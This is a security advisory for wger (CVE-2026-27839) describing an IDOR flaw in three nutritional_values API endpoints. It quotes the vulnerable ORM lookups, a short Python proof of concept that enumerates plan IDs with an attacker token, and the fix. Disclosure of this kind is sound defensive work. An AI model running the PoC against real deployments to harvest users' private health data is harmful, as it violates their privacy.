wger
Affected
- introduced
0, last affected2.1(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-27839, GHSA-g8gc-6c4h-jg86
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Summary
Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk) # VULNERABLE
# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk) # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT
Affected endpoints:
GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/
PoC
import requests
BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}
# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
r = requests.get(
f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
headers=headers
)
if r.status_code == 200:
data = r.json()
print(f"Plan {pk}: {data}")
# Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
# fat, fat_saturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data:
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
Medium Basis: CVSS v3 score 4.3, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
0, last affected 2.1 (ecosystem)None listed
No fixed version is listed.
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Source: PyPA Advisory Database · CC BY 4.0